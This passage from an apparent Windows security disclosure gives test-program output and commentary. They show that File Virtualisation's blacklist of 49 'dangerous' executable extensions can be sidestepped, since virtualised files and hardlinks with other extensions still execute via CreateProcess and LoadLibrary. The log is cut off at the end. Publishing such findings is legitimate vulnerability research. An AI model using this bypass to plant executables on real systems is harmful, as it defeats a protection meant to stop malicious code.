Directory 'C:\Windows\Blunder' has 'FILE_ATTRIBUTE_VIRTUAL' CreateFile() returned error 5 for file 'C:\Windows\Blunder.acm' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.acm' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.acm' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.acm' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.acm' CreateFile() returned error 5 for file 'C:\Windows\Blunder.asa' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.asa' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.asa' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.asa' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.asa' CreateFile() returned error 5 for file 'C:\Windows\Blunder.asp' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.asp' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.asp' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.asp' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.asp' CreateFile() returned error 5 for file 'C:\Windows\Blunder.ax' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.ax' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.ax' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.ax' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.ax' CreateFile() returned error 5 for file 'C:\Windows\Blunder.bat' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.bat' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.bat' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.bat' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.bat' CreateFile() returned error 5 for file 'C:\Windows\Blunder.chm' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.chm' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.chm' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.chm' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.chm' CreateFile() returned error 5 for file 'C:\Windows\Blunder.cmd' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.cmd' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.cmd' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.cmd' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.cmd' CreateFile() returned error 5 for file 'C:\Windows\Blunder.cnt' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.cnt' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.cnt' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.cnt' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.cnt' CreateFile() returned error 5 for file 'C:\Windows\Blunder.cnv' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.cnv' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.cnv' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.cnv' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.cnv' CreateFile() returned error 5 for file 'C:\Windows\Blunder.com' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.com' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.com' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.com' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.com' CreateFile() returned error 5 for file 'C:\Windows\Blunder.cpl' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.cpl' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.cpl' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.cpl' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.cpl' CreateFile() returned error 5 for file 'C:\Windows\Blunder.crt' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.crt' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.crt' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.crt' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.crt' CreateFile() returned error 5 for file 'C:\Windows\Blunder.dll' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.dll' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.dll' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.dll' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.dll' CreateFile() returned error 5 for file 'C:\Windows\Blunder.drv' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.drv' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.drv' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.drv' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.drv' File 'C:\Windows\Blunder.efi' has 'FILE_ATTRIBUTE_VIRTUAL' File 'C:\Windows\Blunder.efi' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Blunder.efi' CreateProcess() returned error 193 for file 'C:\Windows\Blunder.efi' LoadLibrary() returned error 193 for file 'C:\Windows\Blunder.efi' Hardlink 'C:\Windows\Blunder.efi' has 'FILE_ATTRIBUTE_VIRTUAL' Hardlink 'C:\Windows\Blunder.efi' started as process 7800 with primary thread 13080 LoadLibrary() returned error 193 for hardlink 'C:\Windows\Blunder.efi' DeleteFile() returned error 5 for hardlink 'C:\Windows\Blunder.efi' CreateFile() returned error 5 for file 'C:\Windows\Blunder.exe' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.exe' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.exe' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.exe' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.exe' CreateFile() returned error 5 for file 'C:\Windows\Blunder.fon' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.fon' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.fon' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.fon' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.fon' CreateFile() returned error 5 for file 'C:\Windows\Blunder.hlp' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.hlp' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.hlp' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.hlp' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.hlp' CreateFile() returned error 5 for file 'C:\Windows\Blunder.hta' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.hta' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.hta' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.hta' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.hta' CreateFile() returned error 5 for file 'C:\Windows\Blunder.ime' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.ime' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.ime' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.ime' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.ime' CreateFile() returned error 5 for file 'C:\Windows\Blunder.inf' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.inf' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.inf' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.inf' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.inf' CreateFile() returned error 5 for file 'C:\Windows\Blunder.ins' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.ins' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.ins' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.ins' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.ins' File 'C:\Windows\Blunder.iso' has 'FILE_ATTRIBUTE_VIRTUAL' File 'C:\Windows\Blunder.iso' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Blunder.iso' CreateProcess() returned error 193 for file 'C:\Windows\Blunder.iso' LoadLibrary() returned error 193 for file 'C:\Windows\Blunder.iso' Hardlink 'C:\Windows\Blunder.iso' has 'FILE_ATTRIBUTE_VIRTUAL' Hardlink 'C:\Windows\Blunder.iso' started as process 11284 with primary thread 4168 LoadLibrary() returned error 193 for hardlink 'C:\Windows\Blunder.iso' DeleteFile() returned error 5 for hardlink 'C:\Windows\Blunder.iso' CreateFile() returned error 5 for file 'C:\Windows\Blunder.isp' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.isp' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.isp' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.isp' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.isp' CreateFile() returned error 5 for file 'C:\Windows\Blunder.its' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.its' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.its' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.its' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.its' CreateFile() returned error 5 for file 'C:\Windows\Blunder.js' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.js' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.js' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.js' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.js' CreateFile() returned error 5 for file 'C:\Windows\Blunder.jse' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.jse' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.jse' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.jse' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.jse' CreateFile() returned error 5 for file 'C:\Windows\Blunder.lnk' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.lnk' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.lnk' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.lnk' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.lnk' CreateFile() returned error 5 for file 'C:\Windows\Blunder.msc' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.msc' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.msc' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.msc' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.msc' CreateFile() returned error 5 for file 'C:\Windows\Blunder.msi' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.msi' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.msi' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.msi' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.msi' CreateFile() returned error 5 for file 'C:\Windows\Blunder.msp' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.msp' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.msp' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.msp' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.msp' CreateFile() returned error 5 for file 'C:\Windows\Blunder.mst' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.mst' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.mst' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.mst' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.mst' CreateFile() returned error 5 for file 'C:\Windows\Blunder.mui' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.mui' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.mui' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.mui' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.mui' CreateFile() returned error 5 for file 'C:\Windows\Blunder.nls' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.nls' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.nls' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.nls' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.nls' CreateFile() returned error 5 for file 'C:\Windows\Blunder.ocx' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.ocx' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.ocx' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.ocx' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.ocx' CreateFile() returned error 5 for file 'C:\Windows\Blunder.pif' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.pif' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.pif' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.pif' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.pif' CreateFile() returned error 5 for file 'C:\Windows\Blunder.reg' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.reg' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.reg' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.reg' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.reg' CreateFile() returned error 5 for file 'C:\Windows\Blunder.scr' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.scr' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.scr' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.scr' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.scr' CreateFile() returned error 5 for file 'C:\Windows\Blunder.sct' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.sct' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.sct' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.sct' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.sct' CreateFile() returned error 5 for file 'C:\Windows\Blunder.shb' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.shb' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.shb' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.shb' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.shb' CreateFile() returned error 5 for file 'C:\Windows\Blunder.shs' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.shs' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.shs' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.shs' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.shs' CreateFile() returned error 5 for file 'C:\Windows\Blunder.sys' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.sys' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.sys' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.sys' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.sys' CreateFile() returned error 5 for file 'C:\Windows\Blunder.tlb' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.tlb' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.tlb' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.tlb' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.tlb' File 'C:\Windows\Blunder.tmp' has 'FILE_ATTRIBUTE_VIRTUAL' File 'C:\Windows\Blunder.tmp' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Blunder.tmp' CreateProcess() returned error 193 for file 'C:\Windows\Blunder.tmp' LoadLibrary() returned error 193 for file 'C:\Windows\Blunder.tmp' Hardlink 'C:\Windows\Blunder.tmp' has 'FILE_ATTRIBUTE_VIRTUAL' Hardlink 'C:\Windows\Blunder.tmp' started as process 7860 with primary thread 12028 LoadLibrary() returned error 193 for hardlink 'C:\Windows\Blunder.tmp' DeleteFile() returned error 5 for hardlink 'C:\Windows\Blunder.tmp' CreateFile() returned error 5 for file 'C:\Windows\Blunder.tsp' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.tsp' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.tsp' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.tsp' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.tsp' File 'C:\Windows\Blunder.ttf' has 'FILE_ATTRIBUTE_VIRTUAL' File 'C:\Windows\Blunder.ttf' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Blunder.ttf' CreateProcess() returned error 193 for file 'C:\Windows\Blunder.ttf' LoadLibrary() returned error 193 for file 'C:\Windows\Blunder.ttf' Hardlink 'C:\Windows\Blunder.ttf' has 'FILE_ATTRIBUTE_VIRTUAL' Hardlink 'C:\Windows\Blunder.ttf' started as process 11116 with primary thread 1524 LoadLibrary() returned error 193 for hardlink 'C:\Windows\Blunder.ttf' DeleteFile() returned error 5 for hardlink 'C:\Windows\Blunder.ttf' CreateFile() returned error 5 for file 'C:\Windows\Blunder.url' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.url' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.url' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.url' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.url' CreateFile() returned error 5 for file 'C:\Windows\Blunder.vb' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.vb' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.vb' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.vb' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.vb' CreateFile() returned error 5 for file 'C:\Windows\Blunder.vbe' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.vbe' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.vbe' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.vbe' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.vbe' CreateFile() returned error 5 for file 'C:\Windows\Blunder.vbs' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.vbs' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.vbs' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.vbs' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.vbs' File 'C:\Windows\Blunder.wll' has 'FILE_ATTRIBUTE_VIRTUAL' File 'C:\Windows\Blunder.wll' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Blunder.wll' CreateProcess() returned error 193 for file 'C:\Windows\Blunder.wll' LoadLibrary() returned error 193 for file 'C:\Windows\Blunder.wll' Hardlink 'C:\Windows\Blunder.wll' has 'FILE_ATTRIBUTE_VIRTUAL' Hardlink 'C:\Windows\Blunder.wll' started as process 13928 with primary thread 9784 LoadLibrary() returned error 193 for hardlink 'C:\Windows\Blunder.wll' DeleteFile() returned error 5 for hardlink 'C:\Windows\Blunder.wll' CreateFile() returned error 5 for file 'C:\Windows\Blunder.wsc' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.wsc' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.wsc' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.wsc' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.wsc' CreateFile() returned error 5 for file 'C:\Windows\Blunder.wsf' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.wsf' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.wsf' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.wsf' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.wsf' CreateFile() returned error 5 for file 'C:\Windows\Blunder.wsh' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\Blunder.wsh' CreateProcess() returned error 2 for hardlink 'C:\Windows\Blunder.wsh' LoadLibrary() returned error 126 for hardlink 'C:\Windows\Blunder.wsh' DeleteFile() returned error 2 for hardlink 'C:\Windows\Blunder.wsh' File 'C:\Windows\Blunder.xll' has 'FILE_ATTRIBUTE_VIRTUAL' File 'C:\Windows\Blunder.xll' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Blunder.xll' CreateProcess() returned error 193 for file 'C:\Windows\Blunder.xll' LoadLibrary() returned error 193 for file 'C:\Windows\Blunder.xll' Hardlink 'C:\Windows\Blunder.xll' has 'FILE_ATTRIBUTE_VIRTUAL' Hardlink 'C:\Windows\Blunder.xll' started as process 8184 with primary thread 3232 LoadLibrary() returned error 193 for hardlink 'C:\Windows\Blunder.xll' DeleteFile() returned error 5 for hardlink 'C:\Windows\Blunder.xll' 0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193) Error message text: %1 is not a valid Win32 application. CertUtil: -error command completed successfully.OOPS¹: at least for the 49
dangerousextensions
.acm
, .asa
, .asp
,
.ax
, .bat
, .chm
,
.cmd
, .cnt
, .cnv
,
.com
, .cpl
, .crt
,
.dll
, .drv
, .exe
,
.fon
, .hlp
, .hta
,
.ime
, .inf
, .ins
,
.isp
, .its
, .js
,
.jse
, .lnk
, .msc
,
.msi
, .msp
, .mst
,
.mui
, .nls
, .ocx
,
.pif
, .reg
, .scr
,
.sct
, .shb
, .shs
,
.sys
, .tlb
, .tsp
,
.url
, .vb
, .vbe
,
.vbs
, .wsc
, .wsf
and
.wsh
, File Virtualisation fails with
Win32 error code 5 alias
ERROR_ACCESS_DENIED
!
OUCH¹: contrary to the highlighted statement
of the documentation cited above, executable files with the
extensions .wll
and .xll
, which are used
by Microsoft Word respectively
Microsoft Excel for executable
add-ins, can be created!
OUCH²: indicated (intentionally here only) with
the Win32 error code 193 alias
ERROR_BAD_EXE_FORMAT
,
at least the Win32 functions
CreateProcess()
and
LoadLibrary()
load (and execute) virtualised files and hardlinks with (arbitrary)
other extensions – I suspect that the developer(s) who built
the list of dangerous
extensions will be surprised to learn
that black listing
is doomed to fail!
OUCH³: contrary to the highlighted statement of the documentation cited above, hardlinks of (executable) files can be created with arbitrary extensions!
OUCH⁴: access to virtualised hardlinks with
dangerous
extensions but fails with either the
wrong Win32 error code 2 alias
ERROR_FILE_NOT_FOUND
or the wrong error code 126 alias
ERROR_MOD_NOT_FOUND
instead of the appropriate error code 5 alias
ERROR_ACCESS_DENIED
– File Virtualisation is
seriously broken for
hardlinks
with dangerous
extensions!
Compile and link the source file blunder.c
created in
step 1. a second time, now with the preprocessor macro
BLUNDER
defined:
CL.EXE /DBLUNDER blunder.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(193) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
Execute the console application blunder.exe
built in
step 4. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.acm' File 'C:\Windows:Blunder.acm' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.acm' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.acm' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.acm' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.acm' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.asa' File 'C:\Windows:Blunder.asa' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.asa' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.asa' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.asa' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.asa' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.asp' File 'C:\Windows:Blunder.asp' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.asp' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.asp' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.asp' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.asp' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.ax' File 'C:\Windows:Blunder.ax' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.ax' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.ax' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.ax' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.ax' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.bat' File 'C:\Windows:Blunder.bat' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.bat' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.bat' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.bat' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.bat' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.chm' File 'C:\Windows:Blunder.chm' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.chm' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.chm' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.chm' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.chm' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.cmd' File 'C:\Windows:Blunder.cmd' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.cmd' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.cmd' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.cmd' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.cmd' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.cnt' File 'C:\Windows:Blunder.cnt' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.cnt' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.cnt' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.cnt' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.cnt' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.cnv' File 'C:\Windows:Blunder.cnv' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.cnv' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.cnv' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.cnv' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.cnv' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.com' File 'C:\Windows:Blunder.com' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.com' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.com' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.com' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.com' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.cpl' File 'C:\Windows:Blunder.cpl' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.cpl' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.cpl' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.cpl' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.cpl' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.crt' File 'C:\Windows:Blunder.crt' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.crt' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.crt' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.crt' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.crt' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.dll' File 'C:\Windows:Blunder.dll' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.dll' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.dll' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.dll' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.dll' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.drv' File 'C:\Windows:Blunder.drv' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.drv' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.drv' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.drv' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.drv' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.efi' File 'C:\Windows:Blunder.efi' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.efi' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.efi' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.efi' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.efi' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.exe' File 'C:\Windows:Blunder.exe' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.exe' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.exe' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.exe' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.exe' GetFileAttributes() returned error 2 for file 